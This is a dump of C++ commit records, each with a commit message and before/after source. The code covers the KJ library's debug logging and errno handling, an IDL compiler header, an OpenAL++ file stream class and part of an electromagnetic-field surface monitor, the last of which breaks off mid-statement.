ENOTSOCK:\n#endif\n      return Exception::Type::UNIMPLEMENTED;\n\n    default:\n      return Exception::Type::FAILED;\n  }\n}\n\nenum DescriptionStyle {\n  LOG,\n  ASSERTION,\n  SYSCALL\n};\n\nstatic String makeDescriptionImpl(DescriptionStyle style, const char* code, int errorNumber,\n                                  const char* macroArgs, ArrayPtr<String> argValues) {\n  KJ_STACK_ARRAY(ArrayPtr<const char>, argNames, argValues.size(), 8, 64);\n\n  if (argValues.size() > 0) {\n    size_t index = 0;\n    const char* start = macroArgs;\n    while (isspace(*start)) ++start;\n    const char* pos = start;\n    uint depth = 0;\n    bool quoted = false;\n    while (char c = *pos++) {\n      if (quoted) {\n        if (c == '\\\\' && *pos != '\\0') {\n          ++pos;\n        } else if (c == '\\\"') {\n          quoted = false;\n        }\n      } else {\n        if (c == '(') {\n          ++depth;\n        } else if (c == ')') {\n          --depth;\n        } else if (c == '\\\"') {\n          quoted = true;\n        } else if (c == ',' && depth == 0) {\n          if (index < argValues.size()) {\n            argNames[index] = arrayPtr(start, pos - 1);\n          }\n          ++index;\n          while (isspace(*pos)) ++pos;\n          start = pos;\n        }\n      }\n    }\n    if (index < argValues.size()) {\n      argNames[index] = arrayPtr(start, pos - 1);\n    }\n    ++index;\n\n    if (index != argValues.size()) {\n      getExceptionCallback().logMessage(__FILE__, __LINE__, 0,\n          str(\"Failed to parse logging macro args into \",\n              argValues.size(), \" names: \", macroArgs, '\\n'));\n    }\n  }\n\n  if (style == SYSCALL) {\n    \/\/ Strip off leading \"foo = \" from code, since callers will sometimes write things like:\n    \/\/   ssize_t n;\n    \/\/   RECOVERABLE_SYSCALL(n = read(fd, buffer, sizeof(buffer))) { return \"\"; }\n    \/\/   return std::string(buffer, n);\n    const char* equalsPos = strchr(code, '=');\n    if (equalsPos != nullptr && equalsPos[1] != '=') {\n      code = equalsPos + 1;\n      while (isspace(*code)) ++code;\n    }\n  }\n\n  if (style == ASSERTION && code == nullptr) {\n    style = LOG;\n  }\n\n  {\n    StringPtr expected = \"expected \";\n    StringPtr codeArray = style == LOG ? nullptr : StringPtr(code);\n    StringPtr sep = \" = \";\n    StringPtr delim = \"; \";\n    StringPtr colon = \": \";\n\n    StringPtr sysErrorArray;\n#if __USE_GNU\n    char buffer[256];\n    if (style == SYSCALL) {\n      sysErrorArray = strerror_r(errorNumber, buffer, sizeof(buffer));\n    }\n#else\n    char buffer[256];\n    if (style == SYSCALL) {\n      strerror_r(errorNumber, buffer, sizeof(buffer));\n      sysErrorArray = buffer;\n    }\n#endif\n\n    size_t totalSize = 0;\n    switch (style) {\n      case LOG:\n        break;\n      case ASSERTION:\n        totalSize += expected.size() + codeArray.size();\n        break;\n      case SYSCALL:\n        totalSize += codeArray.size() + colon.size() + sysErrorArray.size();\n        break;\n    }\n\n    for (size_t i = 0; i < argValues.size(); i++) {\n      if (i > 0 || style != LOG) {\n        totalSize += delim.size();\n      }\n      if (argNames[i].size() > 0 && argNames[i][0] != '\\\"') {\n        totalSize += argNames[i].size() + sep.size();\n      }\n      totalSize += argValues[i].size();\n    }\n\n    String result = heapString(totalSize);\n    char* pos = result.begin();\n\n    switch (style) {\n      case LOG:\n        break;\n      case ASSERTION:\n        pos = _::fill(pos, expected, codeArray);\n        break;\n      case SYSCALL:\n        pos = _::fill(pos, codeArray, colon, sysErrorArray);\n        break;\n    }\n    for (size_t i = 0; i < argValues.size(); i++) {\n      if (i > 0 || style != LOG) {\n        pos = _::fill(pos, delim);\n      }\n      if (argNames[i].size() > 0 && argNames[i][0] != '\\\"') {\n        pos = _::fill(pos, argNames[i], sep);\n      }\n      pos = _::fill(pos, argValues[i]);\n    }\n\n    return result;\n  }\n}\n\n}  \/\/ namespace\n\nvoid Debug::logInternal(const char* file, int line, Severity severity, const char* macroArgs,\n                        ArrayPtr<String> argValues) {\n  getExceptionCallback().logMessage(file, line, 0,\n      str(severity, \": \", makeDescriptionImpl(LOG, nullptr, 0, macroArgs, argValues), '\\n'));\n}\n\nDebug::Fault::~Fault() noexcept(false) {\n  if (exception != nullptr) {\n    Exception copy = mv(*exception);\n    delete exception;\n    throwRecoverableException(mv(copy));\n  }\n}\n\nvoid Debug::Fault::fatal() {\n  Exception copy = mv(*exception);\n  delete exception;\n  exception = nullptr;\n  throwFatalException(mv(copy));\n  abort();\n}\n\nvoid Debug::Fault::init(\n    const char* file, int line, Exception::Type type,\n    const char* condition, const char* macroArgs, ArrayPtr<String> argValues) {\n  exception = new Exception(type, file, line,\n      makeDescriptionImpl(ASSERTION, condition, 0, macroArgs, argValues));\n}\n\nvoid Debug::Fault::init(\n    const char* file, int line, int osErrorNumber,\n    const char* condition, const char* macroArgs, ArrayPtr<String> argValues) {\n  exception = new Exception(typeOfErrno(osErrorNumber), file, line,\n      makeDescriptionImpl(SYSCALL, condition, osErrorNumber, macroArgs, argValues));\n}\n\nString Debug::makeDescriptionInternal(const char* macroArgs, ArrayPtr<String> argValues) {\n  return makeDescriptionImpl(LOG, nullptr, 0, macroArgs, argValues);\n}\n\nint Debug::getOsErrorNumber(bool nonblocking) {\n  int result = errno;\n\n  \/\/ On many systems, EAGAIN and EWOULDBLOCK have the same value, but this is not strictly required\n  \/\/ by POSIX, so we need to check both.\n  return result == EINTR ? -1\n       : nonblocking && (result == EAGAIN || result == EWOULDBLOCK) ? 0\n       : result;\n}\n\nDebug::Context::Context(): logged(false) {}\nDebug::Context::~Context() noexcept(false) {}\n\nDebug::Context::Value Debug::Context::ensureInitialized() {\n  KJ_IF_MAYBE(v, value) {\n    return Value(v->file, v->line, heapString(v->description));\n  } else {\n    Value result = evaluate();\n    value = Value(result.file, result.line, heapString(result.description));\n    return result;\n  }\n}\n\nvoid Debug::Context::onRecoverableException(Exception&& exception) {\n  Value v = ensureInitialized();\n  exception.wrapContext(v.file, v.line, mv(v.description));\n  next.onRecoverableException(kj::mv(exception));\n}\nvoid Debug::Context::onFatalException(Exception&& exception) {\n  Value v = ensureInitialized();\n  exception.wrapContext(v.file, v.line, mv(v.description));\n  next.onFatalException(kj::mv(exception));\n}\nvoid Debug::Context::logMessage(const char* file, int line, int contextDepth, String&& text) {\n  if (!logged) {\n    Value v = ensureInitialized();\n    next.logMessage(v.file, v.line, 0, str(\"context: \", mv(v.description), '\\n'));\n    logged = true;\n  }\n\n  next.logMessage(file, line, contextDepth + 1, mv(text));\n}\n\n}  \/\/ namespace _ (private)\n}  \/\/ namespace kj\n<commit_msg>Fix typo (only a warning, not an error, apparently).<commit_after>\/\/ Copyright (c) 2013-2014 Sandstorm Development Group, Inc. and contributors\n\/\/ Licensed under the MIT License:\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\n#include \"debug.h\"\n#include <stdlib.h>\n#include <ctype.h>\n#include <string.h>\n#include <errno.h>\n\n#if _WIN32\n#define strerror_r(errno,buf,len) strerror_s(buf,len,errno)\n#endif\n\nnamespace kj {\nnamespace _ {  \/\/ private\n\nDebug::Severity Debug::minSeverity = Debug::Severity::WARNING;\n\nArrayPtr<const char> KJ_STRINGIFY(Debug::Severity severity) {\n  static const char* SEVERITY_STRINGS[] = {\n    \"info\",\n    \"warning\",\n    \"error\",\n    \"fatal\",\n    \"debug\"\n  };\n\n  const char* s = SEVERITY_STRINGS[static_cast<uint>(severity)];\n  return arrayPtr(s, strlen(s));\n}\n\nnamespace {\n\nException::Type typeOfErrno(int error) {\n  switch (error) {\n#ifdef EDQUOT\n    case EDQUOT:\n#endif\n#ifdef EMFILE\n    case EMFILE:\n#endif\n#ifdef ENFILE\n    case ENFILE:\n#endif\n#ifdef ENOBUFS\n    case ENOBUFS:\n#endif\n#ifdef ENOLCK\n    case ENOLCK:\n#endif\n#ifdef ENOMEM\n    case ENOMEM:\n#endif\n#ifdef ENOSPC\n    case ENOSPC:\n#endif\n#ifdef ETIMEDOUT\n    case ETIMEDOUT:\n#endif\n#ifdef EUSERS\n    case EUSERS:\n#endif\n      return Exception::Type::OVERLOADED;\n\n#ifdef ENOTCONN\n    case ENOTCONN:\n#endif\n#ifdef ECONNABORTED\n    case ECONNABORTED:\n#endif\n#ifdef ECONNREFUSED\n    case ECONNREFUSED:\n#endif\n#ifdef ECONNRESET\n    case ECONNRESET:\n#endif\n#ifdef EHOSTDOWN\n    case EHOSTDOWN:\n#endif\n#ifdef EHOSTUNREACH\n    case EHOSTUNREACH:\n#endif\n#ifdef ENETDOWN\n    case ENETDOWN:\n#endif\n#ifdef ENETRESET\n    case ENETRESET:\n#endif\n#ifdef ENETUNREACH\n    case ENETUNREACH:\n#endif\n#ifdef ENONET\n    case ENONET:\n#endif\n#ifdef EPIPE\n    case EPIPE:\n#endif\n      return Exception::Type::DISCONNECTED;\n\n#ifdef ENOSYS\n    case ENOSYS:\n#endif\n#ifdef ENOTSUP\n    case ENOTSUP:\n#endif\n#if defined(EOPNOTSUPP) && EOPNOTSUPP != ENOTSUP\n    case EOPNOTSUPP:\n#endif\n#ifdef ENOPROTOOPT\n    case ENOPROTOOPT:\n#endif\n#ifdef ENOTSOCK\n    \/\/ This is really saying \"syscall not implemented for non-sockets\".\n    case ENOTSOCK:\n#endif\n      return Exception::Type::UNIMPLEMENTED;\n\n    default:\n      return Exception::Type::FAILED;\n  }\n}\n\nenum DescriptionStyle {\n  LOG,\n  ASSERTION,\n  SYSCALL\n};\n\nstatic String makeDescriptionImpl(DescriptionStyle style, const char* code, int errorNumber,\n                                  const char* macroArgs, ArrayPtr<String> argValues) {\n  KJ_STACK_ARRAY(ArrayPtr<const char>, argNames, argValues.size(), 8, 64);\n\n  if (argValues.size() > 0) {\n    size_t index = 0;\n    const char* start = macroArgs;\n    while (isspace(*start)) ++start;\n    const char* pos = start;\n    uint depth = 0;\n    bool quoted = false;\n    while (char c = *pos++) {\n      if (quoted) {\n        if (c == '\\\\' && *pos != '\\0') {\n          ++pos;\n        } else if (c == '\\\"') {\n          quoted = false;\n        }\n      } else {\n        if (c == '(') {\n          ++depth;\n        } else if (c == ')') {\n          --depth;\n        } else if (c == '\\\"') {\n          quoted = true;\n        } else if (c == ',' && depth == 0) {\n          if (index < argValues.size()) {\n            argNames[index] = arrayPtr(start, pos - 1);\n          }\n          ++index;\n          while (isspace(*pos)) ++pos;\n          start = pos;\n        }\n      }\n    }\n    if (index < argValues.size()) {\n      argNames[index] = arrayPtr(start, pos - 1);\n    }\n    ++index;\n\n    if (index != argValues.size()) {\n      getExceptionCallback().logMessage(__FILE__, __LINE__, 0,\n          str(\"Failed to parse logging macro args into \",\n              argValues.size(), \" names: \", macroArgs, '\\n'));\n    }\n  }\n\n  if (style == SYSCALL) {\n    \/\/ Strip off leading \"foo = \" from code, since callers will sometimes write things like:\n    \/\/   ssize_t n;\n    \/\/   RECOVERABLE_SYSCALL(n = read(fd, buffer, sizeof(buffer))) { return \"\"; }\n    \/\/   return std::string(buffer, n);\n    const char* equalsPos = strchr(code, '=');\n    if (equalsPos != nullptr && equalsPos[1] != '=') {\n      code = equalsPos + 1;\n      while (isspace(*code)) ++code;\n    }\n  }\n\n  if (style == ASSERTION && code == nullptr) {\n    style = LOG;\n  }\n\n  {\n    StringPtr expected = \"expected \";\n    StringPtr codeArray = style == LOG ? nullptr : StringPtr(code);\n    StringPtr sep = \" = \";\n    StringPtr delim = \"; \";\n    StringPtr colon = \": \";\n\n    StringPtr sysErrorArray;\n#if __USE_GNU\n    char buffer[256];\n    if (style == SYSCALL) {\n      sysErrorArray = strerror_r(errorNumber, buffer, sizeof(buffer));\n    }\n#else\n    char buffer[256];\n    if (style == SYSCALL) {\n      strerror_r(errorNumber, buffer, sizeof(buffer));\n      sysErrorArray = buffer;\n    }\n#endif\n\n    size_t totalSize = 0;\n    switch (style) {\n      case LOG:\n        break;\n      case ASSERTION:\n        totalSize += expected.size() + codeArray.size();\n        break;\n      case SYSCALL:\n        totalSize += codeArray.size() + colon.size() + sysErrorArray.size();\n        break;\n    }\n\n    for (size_t i = 0; i < argValues.size(); i++) {\n      if (i > 0 || style != LOG) {\n        totalSize += delim.size();\n      }\n      if (argNames[i].size() > 0 && argNames[i][0] != '\\\"') {\n        totalSize += argNames[i].size() + sep.size();\n      }\n      totalSize += argValues[i].size();\n    }\n\n    String result = heapString(totalSize);\n    char* pos = result.begin();\n\n    switch (style) {\n      case LOG:\n        break;\n      case ASSERTION:\n        pos = _::fill(pos, expected, codeArray);\n        break;\n      case SYSCALL:\n        pos = _::fill(pos, codeArray, colon, sysErrorArray);\n        break;\n    }\n    for (size_t i = 0; i < argValues.size(); i++) {\n      if (i > 0 || style != LOG) {\n        pos = _::fill(pos, delim);\n      }\n      if (argNames[i].size() > 0 && argNames[i][0] != '\\\"') {\n        pos = _::fill(pos, argNames[i], sep);\n      }\n      pos = _::fill(pos, argValues[i]);\n    }\n\n    return result;\n  }\n}\n\n}  \/\/ namespace\n\nvoid Debug::logInternal(const char* file, int line, Severity severity, const char* macroArgs,\n                        ArrayPtr<String> argValues) {\n  getExceptionCallback().logMessage(file, line, 0,\n      str(severity, \": \", makeDescriptionImpl(LOG, nullptr, 0, macroArgs, argValues), '\\n'));\n}\n\nDebug::Fault::~Fault() noexcept(false) {\n  if (exception != nullptr) {\n    Exception copy = mv(*exception);\n    delete exception;\n    throwRecoverableException(mv(copy));\n  }\n}\n\nvoid Debug::Fault::fatal() {\n  Exception copy = mv(*exception);\n  delete exception;\n  exception = nullptr;\n  throwFatalException(mv(copy));\n  abort();\n}\n\nvoid Debug::Fault::init(\n    const char* file, int line, Exception::Type type,\n    const char* condition, const char* macroArgs, ArrayPtr<String> argValues) {\n  exception = new Exception(type, file, line,\n      makeDescriptionImpl(ASSERTION, condition, 0, macroArgs, argValues));\n}\n\nvoid Debug::Fault::init(\n    const char* file, int line, int osErrorNumber,\n    const char* condition, const char* macroArgs, ArrayPtr<String> argValues) {\n  exception = new Exception(typeOfErrno(osErrorNumber), file, line,\n      makeDescriptionImpl(SYSCALL, condition, osErrorNumber, macroArgs, argValues));\n}\n\nString Debug::makeDescriptionInternal(const char* macroArgs, ArrayPtr<String> argValues) {\n  return makeDescriptionImpl(LOG, nullptr, 0, macroArgs, argValues);\n}\n\nint Debug::getOsErrorNumber(bool nonblocking) {\n  int result = errno;\n\n  \/\/ On many systems, EAGAIN and EWOULDBLOCK have the same value, but this is not strictly required\n  \/\/ by POSIX, so we need to check both.\n  return result == EINTR ? -1\n       : nonblocking && (result == EAGAIN || result == EWOULDBLOCK) ? 0\n       : result;\n}\n\nDebug::Context::Context(): logged(false) {}\nDebug::Context::~Context() noexcept(false) {}\n\nDebug::Context::Value Debug::Context::ensureInitialized() {\n  KJ_IF_MAYBE(v, value) {\n    return Value(v->file, v->line, heapString(v->description));\n  } else {\n    Value result = evaluate();\n    value = Value(result.file, result.line, heapString(result.description));\n    return result;\n  }\n}\n\nvoid Debug::Context::onRecoverableException(Exception&& exception) {\n  Value v = ensureInitialized();\n  exception.wrapContext(v.file, v.line, mv(v.description));\n  next.onRecoverableException(kj::mv(exception));\n}\nvoid Debug::Context::onFatalException(Exception&& exception) {\n  Value v = ensureInitialized();\n  exception.wrapContext(v.file, v.line, mv(v.description));\n  next.onFatalException(kj::mv(exception));\n}\nvoid Debug::Context::logMessage(const char* file, int line, int contextDepth, String&& text) {\n  if (!logged) {\n    Value v = ensureInitialized();\n    next.logMessage(v.file, v.line, 0, str(\"context: \", mv(v.description), '\\n'));\n    logged = true;\n  }\n\n  next.logMessage(file, line, contextDepth + 1, mv(text));\n}\n\n}  \/\/ namespace _ (private)\n}  \/\/ namespace kj\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Update FexWrite.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: astconstant.hxx,v $\n *\n *  $Revision: 1.1 $\n *\n *  last change: $Author: jsc $ $Date: 2001-03-15 12:23:01 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _IDLC_ASTCONSTANT_HXX_\n#define _IDLC_ASTCONSTANT_HXX_\n\n#ifndef _IDLC_ASTDECLARATION_HXX_\n#include <idlc\/astdeclaration.hxx>\n#endif\n#ifndef _IDLC_ASTEXPRESSION_HXX_\n#include <idlc\/astexpression.hxx>\n#endif\n\nclass AstConstant : public AstDeclaration\n{\npublic:\n    AstConstant(const ExprType type, const NodeType nodeType,\n                AstExpression* pExpr, const ::rtl::OString& name, AstScope* pScope);\n    AstConstant(const ExprType type, AstExpression* pExpr,\n                const ::rtl::OString& name, AstScope* pScope);\n    virtual ~AstConstant();\n\n    AstExpression* getConstValue()\n        { return m_pConstValue; }\n    const ExprType getConstValueType()\n        { return m_constValueType; }\n\n    sal_Bool dumpBlob(RegistryTypeWriter& rBlob, sal_uInt16 index);\nprivate:\n    AstExpression*                  m_pConstValue;\n    const ExprType  m_constValueType;\n};\n\n#endif \/\/ _IDLC_ASTCONSTANT_HXX_\n\n<commit_msg>INTEGRATION: CWS sb14 (1.1.96); FILE MERGED 2004\/03\/15 09:53:51 sb 1.1.96.1: #i21150# Adapted to new extensible type writer interface; added support for bound interface attributes.<commit_after>\/*************************************************************************\n *\n *  $RCSfile: astconstant.hxx,v $\n *\n *  $Revision: 1.2 $\n *\n *  last change: $Author: rt $ $Date: 2004-03-30 16:40:03 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _IDLC_ASTCONSTANT_HXX_\n#define _IDLC_ASTCONSTANT_HXX_\n\n#ifndef _IDLC_ASTDECLARATION_HXX_\n#include <idlc\/astdeclaration.hxx>\n#endif\n#ifndef _IDLC_ASTEXPRESSION_HXX_\n#include <idlc\/astexpression.hxx>\n#endif\n\nnamespace typereg { class Writer; }\n\nclass AstConstant : public AstDeclaration\n{\npublic:\n    AstConstant(const ExprType type, const NodeType nodeType,\n                AstExpression* pExpr, const ::rtl::OString& name, AstScope* pScope);\n    AstConstant(const ExprType type, AstExpression* pExpr,\n                const ::rtl::OString& name, AstScope* pScope);\n    virtual ~AstConstant();\n\n    AstExpression* getConstValue()\n        { return m_pConstValue; }\n    const ExprType getConstValueType()\n        { return m_constValueType; }\n\n    sal_Bool dumpBlob(typereg::Writer & rBlob, sal_uInt16 index);\nprivate:\n    AstExpression*                  m_pConstValue;\n    const ExprType  m_constValueType;\n};\n\n#endif \/\/ _IDLC_ASTCONSTANT_HXX_\n\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * OpenAL++ - an object oriented toolkit for spatial sound\n * Copyright (C) 2002 VRlab, Ume University\n *\n * OpenAL++ was created using the libraries:\n *                 OpenAL (http:\/\/www.openal.org), \n *              PortAudio (http:\/\/www.portaudio.com\/), and\n *              CommonC++ (http:\/\/cplusplus.sourceforge.net\/)\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA.\n *\/\n\n#include \"openalpp\/filestream.h\"\n\nnamespace openalpp {\n\nFileStream::FileStream(const char *filename,const int buffersize)\n  throw (NameError,InitError,FileError) : Stream() {\n\n  FILE *filehandle=fopen(filename,\"r\");\n  if(!filehandle)\n    throw FileError(\"FileStream: Couldn't open file\");\n\n  \/\/ Check for file type, create a FileStreamUpdater if a known type is\n  \/\/ detected, otherwise throw an error.\n  OggVorbis_File oggfile;\n  if(ov_open(filehandle,&oggfile,NULL,0)>=0) {\n    vorbis_info *ogginfo=ov_info(&oggfile,-1);\n    ALenum format;\n    if(ogginfo->channels==1) \/\/ We'll request 16 bit later...\n      format=AL_FORMAT_MONO16;\n    else\n      format=AL_FORMAT_STEREO16;\n    updater_=new FileStreamUpdater(oggfile,\n\t\t\t\t   buffername_,buffer2_->GetName(),\n\t\t\t\t   format,ogginfo->rate,\n\t\t\t\t   buffersize); \n  } else {\n    fclose(filehandle);\n    throw FileError(\"FileStream: File of unknown type\");\n  }\n}\n\nFileStream::FileStream(const FileStream &stream)\n  : Stream((const Stream &)stream) {\n}\n  \nFileStream::~FileStream() {\n}\n\nFileStream &FileStream::operator=(const FileStream &stream) {\n  if(&stream!=this) {\n    Stream::operator=((const Stream &)stream);\n  }\n  return *this;\n}\n\n}\n<commit_msg>Moved an include here from header<commit_after>\/**\n * OpenAL++ - an object oriented toolkit for spatial sound\n * Copyright (C) 2002 VRlab, Ume University\n *\n * OpenAL++ was created using the libraries:\n *                 OpenAL (http:\/\/www.openal.org), \n *              PortAudio (http:\/\/www.portaudio.com\/), and\n *              CommonC++ (http:\/\/cplusplus.sourceforge.net\/)\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA.\n *\/\n\n#include \"openalpp\/filestreamupdater.h\"\n#include \"openalpp\/filestream.h\"\n\nnamespace openalpp {\n\nFileStream::FileStream(const char *filename,const int buffersize)\n  throw (NameError,InitError,FileError) : Stream() {\n\n  FILE *filehandle=fopen(filename,\"r\");\n  if(!filehandle)\n    throw FileError(\"FileStream: Couldn't open file\");\n\n  \/\/ Check for file type, create a FileStreamUpdater if a known type is\n  \/\/ detected, otherwise throw an error.\n  OggVorbis_File oggfile;\n  if(ov_open(filehandle,&oggfile,NULL,0)>=0) {\n    vorbis_info *ogginfo=ov_info(&oggfile,-1);\n    ALenum format;\n    if(ogginfo->channels==1) \/\/ We'll request 16 bit later...\n      format=AL_FORMAT_MONO16;\n    else\n      format=AL_FORMAT_STEREO16;\n    updater_=new FileStreamUpdater(oggfile,\n\t\t\t\t   buffername_,buffer2_->GetName(),\n\t\t\t\t   format,ogginfo->rate,\n\t\t\t\t   buffersize); \n  } else {\n    fclose(filehandle);\n    throw FileError(\"FileStream: File of unknown type\");\n  }\n}\n\nFileStream::FileStream(const FileStream &stream)\n  : Stream((const Stream &)stream) {\n}\n  \nFileStream::~FileStream() {\n}\n\nFileStream &FileStream::operator=(const FileStream &stream) {\n  if(&stream!=this) {\n    Stream::operator=((const Stream &)stream);\n  }\n  return *this;\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <vector>\n#include <string>\n#include <iostream>\n#include <math.h>\n#include \"matrix.h\"\n#include \"field2.h\"\n#include \"monitors\/surface_monitor.h\"\n\nusing namespace std;\n\n\nnamespace qbox {\n    surface_monitor::surface_monitor(string name, const surface &surf, const freq_data &freq, bool extendable): monitor(name,freq,extendable), surf(surf), dir(0), length(0) {\n        F = nullptr;\n    }\n\n    void surface_monitor::set_F(Field2D *newF) {\n        monitor::set_F(newF);\n        auto isurf = newF->grid.to_grid(surf);\n        int length = isurf.dim.norm();\n\n        prevE = matrix<double,1>(length+1);\n        rE = matrix<double,2>(length, freq.size());\n        iE = matrix<double,2>(length, freq.size());\n        rH = matrix<double,2>(length, freq.size());\n        iH = matrix<double,2>(length, freq.size());\n\n        for (int i = 0; i != length; i++) {\n            prevE(i) = 0;\n            for (int j = 0; j!= freq.size(); j++) {\n                rE(i,j) = 0;\n                iE(i,j) = 0;\n                rH(i,j) = 0;\n                iH(i,j) = 0;\n            }\n        }\n        prevE(length) = 0;\n\n        auto gName = get_group();\n        auto dspace = h5cpp::dspace(vector<hsize_t>{2});\n        auto attr = gName.create_attribute(\"p1\", h5cpp::dtype::Double, dspace);\n        attr.write(surf.a.data());\n        attr = gName.create_attribute(\"p2\", h5cpp::dtype::Double, dspace);\n        attr.write(surf.b.data());\n    }\n\n    void surface_monitor::update() {\n        \/\/*** this dir, Hfield combo is bad design (maybe use enum)\n        auto isurf = F->grid.to_grid(surf);\n        auto *Hfield = isurf.dim[0] == 0 ? &F->Hy : &F->Hx;\n\n        double E = 0;\n        double H = 0;\n        freq.update(F->t);\n\n        \/\/this if check could be done outside the for loop somehow\n        int i = 0;\n        for (ivec p = isurf.a; p != isurf.b; p += isurf.tangent) {\n            H = ((*Hfield)(p)+ (*Hfield)(p - isurf.normal)\n                    + (*Hfield)(p + isurf.tangent) + (*Hfield)(p - isurf.normal + isurf.tangent))\/4;\n            E = (F->Ez(p) + F->Ez(p + isurf.tangent)\n                    + prevE(i) + prevE(i+1))\/4;\n\n            prevE(i) = F->Ez(p);\n\n            for (int j = 0; j != freq.size(); j++) {\n                rE(i,j) += E*freq.get_cosf(j);\n                